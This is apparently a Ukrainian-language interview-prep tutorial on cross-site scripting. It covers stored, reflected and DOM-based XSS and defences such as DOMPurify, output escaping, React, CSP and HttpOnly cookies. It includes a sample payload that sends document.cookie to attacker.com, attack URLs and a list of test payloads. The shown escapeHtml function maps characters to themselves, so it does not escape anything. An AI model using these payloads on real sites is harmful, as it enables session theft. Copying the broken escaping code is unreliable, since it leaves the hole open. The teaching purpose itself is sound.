Що таке XSS і як його запобігти?
XSS (Cross-Site Scripting) - одна з найпоширеніших веб-вразливостей, де зловмисники впроваджують зловмисний JavaScript на веб-сторінки, які переглядають інші користувачі.
Типи XSS
1. Stored XSS (Збережений)
Зловмисний скрипт зберігається в базі даних і виконується коли користувачі переглядають сторінку.
// Вразливий код
app.post('/comment', (req, res) => {
const comment = req.body.comment; // Введення користувача
db.save({ comment }); // Зберігається напряму!
});
// Сторінка відображення
app.get('/comments', (req, res) => {
const comments = db.getAll();
res.send(`
<div>${comments.map(c => c.comment).join('')}</div>
`); // ❌ Виконується якщо comment містить <script>
});
// Атакуючий payload
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>2. Reflected XSS (Відображений)
Скрипт відображається з веб-сервера (параметр URL, введення форми).
// Вразливий пошук
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Результати для: ${query}</h1>`); // ❌ Відображається!
});
// Атакуючий URL
https://site.com/search?q=<script>alert(document.cookie)</script>3. DOM-based XSS
Вразливість існує в клієнтському коді.
// Вразливий клієнтський код
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('greeting').innerHTML = `Привіт ${name}`; // ❌
// Атакуючий URL
https://site.com?name=<img src=x onerror=alert(1)>Методи запобігання
1. Санітизація введення
// Node.js з DOMPurify
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.post('/comment', (req, res) => {
const comment = DOMPurify.sanitize(req.body.comment);
db.save({ comment });
});2. Екранування виводу
// Екранування HTML сутностей
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
app.get('/comments', (req, res) => {
const comments = db.getAll();
const safe = comments.map(c => escapeHtml(c.comment));
res.send(`<div>${safe.join('')}</div>`);
});3. Автоекранування в React
// ✅ React автоматично екранує
function Comment({ text }) {
return <div>{text}</div>; // Автоматично екрановано!
}
// ❌ Небезпечно - обходить захист
function UnsafeComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// ✅ Безпечно з санітизацією
import DOMPurify from 'dompurify';
function SafeHtmlComment({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}4. Content Security Policy (CSP)
// Express.js
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'nonce-random123'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:;"
);
next();
});<!-- Використання nonce для вбудованих скриптів -->
<script nonce="random123">
console.log('Дозволений скрипт');
</script>5. HTTP-only Cookies
// Запобігання доступу JavaScript до cookies
res.cookie('session', sessionId, {
httpOnly: true, // Не може бути доступний через JavaScript
secure: true,
sameSite: 'strict'
});Реальний приклад
// Повний захист
const express = require('express');
const helmet = require('helmet'); // Заголовки безпеки
const DOMPurify = require('isomorphic-dompurify');
const app = express();
// 1. Заголовки безпеки
app.use(helmet());
// 2. CSP
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-randomNonce'"],
styleSrc: ["'self'", "'unsafe-inline'"]
}
}));
// 3. Валідація введення
const validateComment = (comment) => {
if (typeof comment !== 'string') return false;
if (comment.length > 1000) return false;
if (/<script|javascript:|onerror=/i.test(comment)) return false;
return true;
};
// 4. Санітизація + екранування
app.post('/api/comment', (req, res) => {
const raw = req.body.comment;
if (!validateComment(raw)) {
return res.status(400).send('Невірне введення');
}
const sanitized = DOMPurify.sanitize(raw);
db.save({ comment: sanitized });
res.json({ success: true });
});Тестування на XSS
Поширені тестові payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')">Питання на співбесіді
-
П: Яка різниця між XSS і CSRF? В: XSS впроваджує зловмисні скрипти для крадіжки даних. CSRF обманом змушує користувачів виконувати небажані дії. XSS атакує користувачів напряму, CSRF експлуатує автентифікацію.
-
П: Чому React запобігає XSS за замовчуванням? В: React екранує всі значення, вбудовані в JSX перед рендерингом, перетворюючи небезпечні символи в безпечні HTML сутності.
-
П: Чи може CSP повністю запобігти XSS? В: Ні, але значно зменшує ризик, обмежуючи джерела скриптів і запобігаючи вбудованим скриптам.
-
П: Чи достатньо санітизації? В: Використовуйте багаторівневий захист: санітизація + екранування + CSP + валідація + HTTP-only cookies.
Найкращі практики
✅ РОБІТЬ:
- Екрануйте все введення користувача перед відображенням
- Використовуйте фреймворки з вбудованим захистом (React, Angular)
- Впроваджуйте Content Security Policy
- Валідуйте введення на клієнті і сервері
- Використовуйте HTTP-only cookies для чутливих даних
- Санітизуйте rich text/HTML введення
❌ НЕ РОБІТЬ:
- Довіряйте будь-якому введенню користувача
- Використовуйте
dangerouslySetInnerHTMLбез санітизації - Покладайтеся лише на клієнтську валідацію
- Вставляйте дані користувача напряму в HTML/JavaScript
- Дозволяйте вбудовані скрипти в CSP якщо не абсолютно необхідно
Коротка відповідь
Для співбесідиКоротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.